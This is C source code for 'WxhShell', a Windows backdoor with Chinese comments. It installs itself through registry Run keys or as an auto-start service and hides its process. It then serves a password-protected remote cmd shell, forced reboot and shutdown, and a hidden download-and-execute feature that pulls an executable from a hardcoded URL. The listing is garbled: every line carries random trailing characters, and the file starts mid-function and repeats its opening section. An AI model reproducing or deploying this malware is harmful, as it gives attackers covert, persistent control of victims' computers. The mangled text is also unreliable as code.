    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,4ei2`wV  
    if(Boot(SHUTDOWN)) sO.`x*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L2, 1Kt7  
    else { |37 g ~  
    closesocket(wsh); #Sa27$&.>  
    ExitThread(0); OtGb<v<_H  
    } ^NX"sM0g  
    break; .!G94b  
    } xA9:*>+>  
  // 获取shell  >lBD<;T  
  case 's': { (HSgEs1d  
    CmdShell(wsh); g_G6~-.9I  
    closesocket(wsh); e_V O3"  
    ExitThread(0); %-<'QYYP  
    break; #/I[Jqf  
  } hWKJ,r%9;  
  // 退出 |i ZfYi&^  
  case 'x': { >2< 8kBF_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '3<fsK=  
    CloseIt(wsh); w^LuIbA  
    break; 5!EJxP9  
    } v@wb"jdFi$  
  // 离开 [+OnV&  
  case 'q': { D<V~f B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v{9t]s>B  
    closesocket(wsh); X`fn8~5  
    WSACleanup(); C&6IU8l\  
    exit(1); XK: 9r{r{  
    break; M?[h0{^K  
        } ^b7GH9<&  
  } Tp0bS  
  } 5cEcTJL[C  
Y_]De3:V0B  
  // 提示信息 1!.(4gV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hs?sGr  
} +e-G,%>9  
  } JqMDqPIQ  
%zSuK8kxV  
  return; fwBRWr9  
}  OX"j#  
;\[(- )f!=  
// shell模块句柄 ]ix!tb.Q  
int CmdShell(SOCKET sock) @"o@}9=d  
{ kWNV%RlSx  
STARTUPINFO si; &[At`Nw71  
ZeroMemory(&si,sizeof(si)); 1?| f lK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0 s 70r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P1NJ^rX  
PROCESS_INFORMATION ProcessInfo; .58qL-iC  
char cmdline[]="cmd"; 4WE6fJ2X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m\ddp_l  
  return 0; a\%xB >LX  
} |gsE2vV  
]>+PnP35G  
// 自身启动模式 Z*])6=2Q  
int StartFromService(void) $DZHQH  
{ <ERB.d!  
typedef struct V13BB44  
{ @c ~)W8  
  DWORD ExitStatus; BbRBT@  
  DWORD PebBaseAddress; '(dz"PL.  
  DWORD AffinityMask; QMsHC%l3b  
  DWORD BasePriority; 2CzaL,je[  
  ULONG UniqueProcessId; AQc,>{Lm  
  ULONG InheritedFromUniqueProcessId; ?X5]i#j[  
}   PROCESS_BASIC_INFORMATION; UThB7(O,  
Nx-uQ^e*1  
PROCNTQSIP NtQueryInformationProcess; 5l,ZoB8  
Fh*j#*oe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wQ%mN[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Uz7^1.-g4  
@o-B{ EH8  
  HANDLE             hProcess; LC})ciWa  
  PROCESS_BASIC_INFORMATION pbi; fd#j Y}  
HXoX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b]7GmRekl  
  if(NULL == hInst ) return 0; /RyR>G!  
(D 9Su^:1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p2N:;lXM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t!2(7=P30(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vf`7V$sr  
5BR2?hO4  
  if (!NtQueryInformationProcess) return 0; wP57Pf0  
[j"9rO" +  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *#TYqCc+g  
  if(!hProcess) return 0; zz^F k&  
5P .qXA"D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >j{z>  
6&!&\  
  CloseHandle(hProcess); &*s0\ 8  
!bC+TYsU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (o J9k[(  
if(hProcess==NULL) return 0;  `juLQH  
ZbT/$\0(6  
HMODULE hMod; KE1ao9H8wR  
char procName[255]; zh $}~RG[  
unsigned long cbNeeded; 720)VzT  
Pub0IIs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 87WBM;$&s  
m{7^EF  
  CloseHandle(hProcess); yi^b)2G  
'SYo_!  
if(strstr(procName,"services")) return 1; // 以服务启动 [|~2X>  
#UtFD^h  
  return 0; // 注册表启动 @VN&t:/l  
} @Eb2k!T  
x'zBK0i  
// 主模块 '&99?s`u  
int StartWxhshell(LPSTR lpCmdLine) f""`cdqAOh  
{ huudBc A[  
  SOCKET wsl; A!vCb 8(TX  
BOOL val=TRUE; 2S8P}$mM  
  int port=0; O,<IGO  
  struct sockaddr_in door; O'GG Ti]e  
vfB2XVc  
  if(wscfg.ws_autoins) Install(); KvQ,;A  
CAT.4GM  
port=atoi(lpCmdLine); !vn1v)6  
^VT1vu %03  
if(port<=0) port=wscfg.ws_port; @h?shW=^  
&/A 8-:m  
  WSADATA data; 1G7b%yPA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; < pTTo  
3jogD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E1&b#TE 6O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b.O9ITR  
  door.sin_family = AF_INET; J4=_w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 81%8{yn!$"  
  door.sin_port = htons(port); =V97;kq+v  
dJ:MjQG`W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y[@\j9Hq  
closesocket(wsl); 93IFcmO.H@  
return 1; "7d-z<^n  
} z^nvMTC  
L0%hnA@  
  if(listen(wsl,2) == INVALID_SOCKET) { W2;N<[wa<u  
closesocket(wsl); |KYEK|  
return 1; "&Qctk`<P  
} ?8, %LIQ?  
  Wxhshell(wsl); rC_*sx r^  
  WSACleanup(); <P%}|@  
)R_E|@"  
return 0; K~RoUE<3[  
/?/#B `  
} B`$L'  
+KEkmXZ  
// 以NT服务方式启动 E^hHH?w+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k#}g,0@  
{ ?hYqcT[%  
DWORD   status = 0; !}M,  
  DWORD   specificError = 0xfffffff; 2}vg U$a  
WqrgRpM{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -V % gVI[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0(8H;T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w> xV  
  serviceStatus.dwWin32ExitCode     = 0; ]+DI.%   
  serviceStatus.dwServiceSpecificExitCode = 0; .w6eJ4 ]  
  serviceStatus.dwCheckPoint       = 0; O)R(==P26P  
  serviceStatus.dwWaitHint       = 0; r C[6lIP  
f DgD@YCD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %m{U& -(l@  
  if (hServiceStatusHandle==0) return; kJs^ z  
i;PL\Er:tX  
status = GetLastError(); ]>i~6!@  
  if (status!=NO_ERROR) =wi*Nd7L  
{ IB9%QW"0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3UUGblg`~  
    serviceStatus.dwCheckPoint       = 0;  1;eX&  
    serviceStatus.dwWaitHint       = 0; H/~?@CE(YC  
    serviceStatus.dwWin32ExitCode     = status; o**yZ2  
    serviceStatus.dwServiceSpecificExitCode = specificError; w-N1.^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sTHq&(hLUG  
    return; >n.z)ZJ  
  } ^a9 oKI9n  
X7*`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2 4\g bv<  
  serviceStatus.dwCheckPoint       = 0; )wzV $(~  
  serviceStatus.dwWaitHint       = 0; g+zJ?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;eB ~H[S/  
} ^%oUmwP<$  
?Ce#BwQ>  
// 处理NT服务事件,比如:启动、停止 MN;/*t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \ SCy$,m  
{ 1@sM1WM X  
switch(fdwControl) +zOOdSFk.  
{ @u4=e4eF`  
case SERVICE_CONTROL_STOP: &;q<M_<  
  serviceStatus.dwWin32ExitCode = 0; i&+w _hD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GSVdb/+  
  serviceStatus.dwCheckPoint   = 0; #'o7x'n^  
  serviceStatus.dwWaitHint     = 0; ,WTTJN  
  { {gy+3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EH9Hpo  
  } +`| *s3M  
  return; d}0qJoH4  
case SERVICE_CONTROL_PAUSE: &y_? rH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W5DbFSgB  
  break; sroGER .  
case SERVICE_CONTROL_CONTINUE: ]= x 1`j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q7]>i!A  
  break; Re:T9K'e  
case SERVICE_CONTROL_INTERROGATE: /-*hjX$n  
  break; \MYU<6{u  
}; KHj6Tg;)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6!7Pm>ml  
} m^Lj+=Z"  
6517Km 4-  
// 标准应用程序主函数 M[Y4_$k<-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <4?*$  
{ }~enEZ  
%JoxYy-  
// 获取操作系统版本 Xza4iV  
OsIsNt=GetOsVer(); w{7 ji}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )@ PnTpL*  
0g(6r-2)7  
  // 从命令行安装 [Z }B"  
  if(strpbrk(lpCmdLine,"iI")) Install(); T[Q"}&bB  
Gi$gtLtN h  
  // 下载执行文件 bejGfc  
if(wscfg.ws_downexe) { !;}2F-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P\B3 y+)  
  WinExec(wscfg.ws_filenam,SW_HIDE); LdTIR]  
} ,?b78_,2  
/mbCP>bcG  
if(!OsIsNt) { 5j [#'3TSU  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sb<\-O14"  
HideProc(); _-a|VTM  
StartWxhshell(lpCmdLine); QPg2Y<2  
} U~QMR-bz  
else 23E 0~O  
  if(StartFromService()) L{PH0Jf  
  // 以服务方式启动 co]Gmg6p  
  StartServiceCtrlDispatcher(DispatchTable); Wvr+y!F  
else <?|6*2_=  
  // 普通方式启动 p{H0dj^|  
  StartWxhshell(lpCmdLine); G,DOBA  
"a( 1s} ,  
return 0; $N\+,?  
} g X/NtO %  
[@.B4p  
k:0P+d  
%]jQ48^R  
=========================================== -Cj_B\  
z>:U{!5k  
'O "kt T  
v>I<|  
FGVb@=TO>  
u5E/m  
" XtW_  
4I ,o&TK  
#include <stdio.h> pN k8! k  
#include <string.h> 7\/u&  
#include <windows.h> I@PJl  
#include <winsock2.h> Jk*QcEE=  
#include <winsvc.h> Ao*FcrXN  
#include <urlmon.h> z6Z='=pT  
 1~EO+  
#pragma comment (lib, "Ws2_32.lib") <JH9StGGc?  
#pragma comment (lib, "urlmon.lib") twv lQ|  
YX `%A6  
#define MAX_USER   100 // 最大客户端连接数 qhxC 5f4Z  
#define BUF_SOCK   200 // sock buffer 0WS|~?OR@  
#define KEY_BUFF   255 // 输入 buffer BGpk&.J  
uHrb:X!q  
#define REBOOT     0   // 重启 @U7Dunu*f  
#define SHUTDOWN   1   // 关机 +E#PJ_H=F8  
z[biK|YL  
#define DEF_PORT   5000 // 监听端口 $B ?? Ip?P  
Y UZKle  
#define REG_LEN     16   // 注册表键长度 Qdm(q:w  
#define SVC_LEN     80   // NT服务名长度 G1r V<,#m  
x vJ^@w'  
// 从dll定义API H /%}R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >W~=]&7{s4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J" wKRy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {e6 KJ@H6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %#4 +!  
0%;M VMH  
// wxhshell配置信息 W^|J/Y48  
struct WSCFG { #XL`S  
  int ws_port;         // 监听端口 - #Jj-t_Fe  
  char ws_passstr[REG_LEN]; // 口令 ]c,l5u}A$  
  int ws_autoins;       // 安装标记, 1=yes 0=no s<#N]mp'   
  char ws_regname[REG_LEN]; // 注册表键名 ~._ko  
  char ws_svcname[REG_LEN]; // 服务名 D?J#u;h~f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UGf6i"F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q-uLA&4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L`pY27 |  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NCxn^$/+>9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 500> CBL0O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @:IL/o*  
|Ib.)  
}; Y`=z.D{  
UC;=)  
// default Wxhshell configuration x {vIT- f  
struct WSCFG wscfg={DEF_PORT, +<B|qcT!  
    "xuhuanlingzhe", /[L)tj7B  
    1, lG < yJ~{  
    "Wxhshell", ` Rsl] GB  
    "Wxhshell", 'M lXnHxt  
            "WxhShell Service", k?n]ZNlT  
    "Wrsky Windows CmdShell Service", 8iOO1I?+  
    "Please Input Your Password: ", VB's  
  1, y\z*p&I  
  "http://www.wrsky.com/wxhshell.exe", pNSst_!>  
  "Wxhshell.exe" L3g9b53\  
    }; V:QdQ;c  
`M6YblnJZ  
// 消息定义模块 k)Zn>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P_mi)@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T#Fn:6_=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <YSg~T  
char *msg_ws_ext="\n\rExit."; Djyp3uUA/  
char *msg_ws_end="\n\rQuit."; DUQ9AT#3  
char *msg_ws_boot="\n\rReboot..."; `TkbF9N+  
char *msg_ws_poff="\n\rShutdown..."; h%/ssB  
char *msg_ws_down="\n\rSave to "; c0SX]4} G  
-@#Pc#  
char *msg_ws_err="\n\rErr!"; m.Twgin  
char *msg_ws_ok="\n\rOK!"; WySNL#>a  
4xpj<  
char ExeFile[MAX_PATH]; "W3W:vl!  
int nUser = 0; =J`gGDhGY-  
HANDLE handles[MAX_USER]; 6G$/NW=L  
int OsIsNt; m_(E(_  
y3Y2 QC(  
SERVICE_STATUS       serviceStatus; $>|?k$(x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; htQ;m)>J:  
$>EqH?EQ  
// 函数声明 \A ;^ UxG  
int Install(void); C1n? ?Y[  
int Uninstall(void); ZHb7+  
int DownloadFile(char *sURL, SOCKET wsh); F@Pem  
int Boot(int flag); R2SBhs,+R  
void HideProc(void); 4Sqvhz  
int GetOsVer(void); ^z38<L=z"  
int Wxhshell(SOCKET wsl); kGruo5A  
void TalkWithClient(void *cs); h<GyplG  
int CmdShell(SOCKET sock); wXP_]-  
int StartFromService(void); /#@LRN<oCq  
int StartWxhshell(LPSTR lpCmdLine); o}d2N/T  
PVZEB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9x4wk*z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &^AzIfX}Gw  
|e~u!V\m  
// 数据结构和表定义 >}70]dN7b  
SERVICE_TABLE_ENTRY DispatchTable[] = 6|%^pjX5  
{ ;B*L1'FF%t  
{wscfg.ws_svcname, NTServiceMain}, =z+-l5Gu"  
{NULL, NULL} Y=hP Erw  
}; N&x@_t""   
3e#x)H/dr  
// 自我安装 #j\*Lc"Ur:  
int Install(void) $#TID=  
{ o.p+j  
  char svExeFile[MAX_PATH]; O.]_Ry\OXA  
  HKEY key;  3&O% &  
  strcpy(svExeFile,ExeFile); "sdcP8])d  
<.;@ksCPW{  
// 如果是win9x系统,修改注册表设为自启动 vM5k4%D  
if(!OsIsNt) { (H'_KPK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GOUY_&}tL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =;kRk .qzy  
  RegCloseKey(key); >3<&V{<K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5T7_[{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $:qI&)/  
  RegCloseKey(key); 11PLH0  
  return 0; t)YFTO"Jj  
    } 22l|!B%o  
  } 2=i+L z^  
} jn0t-":  
else { |G[{{qZM5  
]}jgB 2x7  
// 如果是NT以上系统,安装为系统服务 .WxFm@]/\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bk\*0B  
if (schSCManager!=0) Rc$=+K#  
{ "(9=h@@Y"  
  SC_HANDLE schService = CreateService W ]a7&S  
  ( FRb&@(;  
  schSCManager, mMel,iK=  
  wscfg.ws_svcname, $_4oN(WSz  
  wscfg.ws_svcdisp, jI@bTS o  
  SERVICE_ALL_ACCESS, U/}AiCdj@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P c/.*kOT  
  SERVICE_AUTO_START, cP/F| uG5  
  SERVICE_ERROR_NORMAL, MBnK&GS  
  svExeFile, pE9aT5 L  
  NULL, #p11D= @[  
  NULL, u40b? n.  
  NULL, oVKsic?  
  NULL, ]9bh+  
  NULL -U/I'RDLEz  
  ); $}^Rsv(  
  if (schService!=0) m0dFA<5-  
  { gt].rwo"  
  CloseServiceHandle(schService); q g) Af  
  CloseServiceHandle(schSCManager); 6$xo# }8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D4YT33$tC  
  strcat(svExeFile,wscfg.ws_svcname); WM~J,`]J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }TXp<E"\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &!3VqHQ`  
  RegCloseKey(key); `kaR@t  
  return 0; a!s.850@  
    } ymzPJ??!  
  } <z~2d  
  CloseServiceHandle(schSCManager); #n6FQ$l8m  
} Oc^6u  
} TWl(\<&+)  
-f-O2G=  
return 1; t-?KKU8  
} uIVTs9\  
*!wO:< -  
// 自我卸载 .3S\Rrv  
int Uninstall(void) ,_wm,  
{ E@\d<c.  
  HKEY key; h^.tom g8  
//`cwnjp  
if(!OsIsNt) { RE(=! 8lGR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f4A4  
  RegDeleteValue(key,wscfg.ws_regname); $?CBX27AV  
  RegCloseKey(key); ZC9.R$}Kl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ty e$na&$}  
  RegDeleteValue(key,wscfg.ws_regname); 4{Yy05PFS  
  RegCloseKey(key); Y;~~?[6  
  return 0; P!>{>r4  
  } I8pv:>EhC  
} .f?qUg  
} L*SSv wSL  
else { vUodp#s  
O9Jx%tolF%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YokZar2a0  
if (schSCManager!=0) x):k#cu[L  
{ o[Wagg.%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G{&yzHAuae  
  if (schService!=0) Mo?t[]L   
  { D-2v>l_  
  if(DeleteService(schService)!=0) { h1G*y  
  CloseServiceHandle(schService); Cnc\sMDJ\B  
  CloseServiceHandle(schSCManager); ,&zjOc_v  
  return 0;  01UR  
  } ^J*G%*  
  CloseServiceHandle(schService); {{4p{  
  } 1b %T_a  
  CloseServiceHandle(schSCManager); {YO%JTQ  
} p'uqh e X  
} 8f6;y1!;  
R|Q_W X  
return 1; ` + n  
} Zh fD`@>&  
="'P=Xh!8  
// 从指定url下载文件 J6^Ct  
int DownloadFile(char *sURL, SOCKET wsh) JPoK\- 9NT  
{ I ]WeZ,E  
  HRESULT hr; *]E7}bqb  
char seps[]= "/"; 95gsv\2  
char *token; wn A%Nh7  
char *file; ftI+#0?[!  
char myURL[MAX_PATH]; 0F0Q=dZ  
char myFILE[MAX_PATH]; Aa\=7  
$ <>EwW  
strcpy(myURL,sURL); bVAgul=__  
  token=strtok(myURL,seps); %t5BB$y  
  while(token!=NULL) bCaPJ!ZO  
  { Jv4D^>yj[  
    file=token; :+%h  
  token=strtok(NULL,seps); 5sh u76  
  } _ \y0 mc4  
!>Qc2&ZV  
GetCurrentDirectory(MAX_PATH,myFILE); vxilQp  
strcat(myFILE, "\\"); L->f= 8L  
strcat(myFILE, file); z kX-"}$8  
  send(wsh,myFILE,strlen(myFILE),0); dbq{a  
send(wsh,"...",3,0); k,*#I<($  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);   L@k;L  
  if(hr==S_OK) *|,ykb>  
return 0; w;SH>Ax:  
else / Vm}+"BCS  
return 1; (Q+:N;  
BHJ'[{U*w  
} sY;gh`4h  
l SVW}t  
// 系统电源模块 @BHS5^|  
int Boot(int flag) Sfoy8<j  
{ rM >V=|9,  
  HANDLE hToken; F#}1{$)% /  
  TOKEN_PRIVILEGES tkp; ?:''VM.  
mP$G9R  
  if(OsIsNt) { Jr>S/]"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vw;ldEdx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V.gY1   
    tkp.PrivilegeCount = 1;  \#+2;L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >&TnTv?I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4xpWO6Q  
if(flag==REBOOT) { z)Q^j>%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kFIB lPV  
  return 0; @aV~.!!  
} D>7_P7]y  
else { l;Wy,?p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,<P[CUD&&  
  return 0; *A1TDc$  
} noUZ9M|hz  
  } ,I&0#+}n  
  else { YT(1 "{:  
if(flag==REBOOT) { 9X {nJ"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UK <DcM~n  
  return 0; L5k>;|SA  
} (8-lDoW  
else { c>i*HN}Z|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `7qp\vYL  
  return 0; r?yJ  
} ;Y|~!%2~  
} 5fx,rtY2sQ  
k-ex<el)#  
return 1; 6[2?m*BsN  
} {|J2clL  
} Ved  
// win9x进程隐藏模块 -z 5k4Y  
void HideProc(void) .kKwdqO+zB  
{  ~!d)J  
,S0~:c:)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mm7n?kb6  
  if ( hKernel != NULL ) %1?V6&  
  { kdMS"iN8x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |o=\9:wV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !>2\OSp!  
    FreeLibrary(hKernel); v{{2<,l  
  } hYUV9k:  
"QFADk1  
return; .q9|XDqQc  
} $E,DxDT  
2SPFjpG8n  
// 获取操作系统版本 =O'%)Y&  
int GetOsVer(void) ]|La MMD  
{ hCvLwZ?LF  
  OSVERSIONINFO winfo; ryp$|?ckJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #Xw[i  
  GetVersionEx(&winfo); +ZA\ M:^b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6BN(^y#-X  
  return 1; vgW1hWmHJ  
  else Cz);mOb%M%  
  return 0; 4Z~Dxo  
} OZ14-}Lr5  
U>-#('  
// 客户端句柄模块 |Sv#f2`  
int Wxhshell(SOCKET wsl) :+^$?[6]  
{ $~@096`QL<  
  SOCKET wsh; PW//8lsR  
  struct sockaddr_in client; >Wit"p  
  DWORD myID; ZFuJ2 :  
6ym)F!t8l  
  while(nUser<MAX_USER) |wb(rua  
{ ?| LB:8  
  int nSize=sizeof(client); hGo|2@sc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f uN XY-;  
  if(wsh==INVALID_SOCKET) return 1; EbYH?hPo  
O#5( U. E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cA SHgm  
if(handles[nUser]==0) +M]8_kE=+l  
  closesocket(wsh); TIh zMW\/K  
else J$/BH\  
  nUser++; N_k6UA9  
  } Ml/p{ *p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L.:QI<n  
yj+b/9My   
  return 0; }<h. chz,  
} 6Oba}`)q9  
'I>#0VRr  
// 关闭 socket PQ"%Z.F"  
void CloseIt(SOCKET wsh) OLup`~  
{ 6SO7iFS  
closesocket(wsh); hsO.521g  
nUser--; .) ;:K  
ExitThread(0); \` ^Tbn:  
} xLK0~|_#!  
LhRe?U\  
// 客户端请求句柄 3(*s|V"  
void TalkWithClient(void *cs) h:sG23@=  
{ ",V5*1w  
I8;[DP9  
  SOCKET wsh=(SOCKET)cs; &*GX:0=/>  
  char pwd[SVC_LEN];  A;x^6>  
  char cmd[KEY_BUFF]; u`@FA?+E1  
char chr[1]; ;O|63  
int i,j; !*UdY(  
{leG~[d  
  while (nUser < MAX_USER) { .{Oq)^!ot  
R >&/n/l  
if(wscfg.ws_passstr) { #de^~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Ep6 .v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S5a<L_  
  //ZeroMemory(pwd,KEY_BUFF); qDd/wR,44  
      i=0; /mu4J|[[  
  while(i<SVC_LEN) { E2kRt'~N  
G@!9)v]9  
  // 设置超时  Bt3=/<.\  
  fd_set FdRead; |raQ]b@t&  
  struct timeval TimeOut; beZ| i 1:  
  FD_ZERO(&FdRead); n`Iy7X  
  FD_SET(wsh,&FdRead); 3*2pacHpE  
  TimeOut.tv_sec=8; E}&jtMRUt  
  TimeOut.tv_usec=0; }_;!E@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !r0P\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zRFM/IYC  
z5vI0 N$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); as!j0j%  
  pwd=chr[0]; S,RJ#.:F[t  
  if(chr[0]==0xd || chr[0]==0xa) { 9W$)W  
  pwd=0; eJp-s" %  
  break; toJ&$HrE  
  } Pv.@Y 30  
  i++; ved Qwzh  
    } 0M+tKFb  
~"Ki2'j)^]  
  // 如果是非法用户,关闭 socket uwA3!5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TN`:T.B  
} yo?Q%w'Nh  
Ps\^OJR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t&]Mt 7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8:fiO|~%  
K.m[S[cy  
while(1) {  U~t(YT  
cpnwx1q@  
  ZeroMemory(cmd,KEY_BUFF); ,m]q+7E  
6|}mTG^  
      // 自动支持客户端 telnet标准   b.;}Hq>  
  j=0; Tj9q(Vq  
  while(j<KEY_BUFF) { e*s{/a?,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h cXqg  
  cmd[j]=chr[0]; B{ "<\g  
  if(chr[0]==0xa || chr[0]==0xd) { -#x\E%v.F  
  cmd[j]=0; .y+U7 "?s*  
  break; ),,vu  
  } 5-^twXC&  
  j++; +KNr1rG  
    } j3&*wU_  
B4aZ3.&W  
  // 下载文件 5K{h)* *5  
  if(strstr(cmd,"http://")) { OhEL9"\<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -m/4\D  
  if(DownloadFile(cmd,wsh)) qDAjW)w Jp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<)z2Bi  
  else M7 !" t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .vMi <U;  
  } kM`#U *j  
  else { 9l]IE,u  
3(5Y-.aK}^  
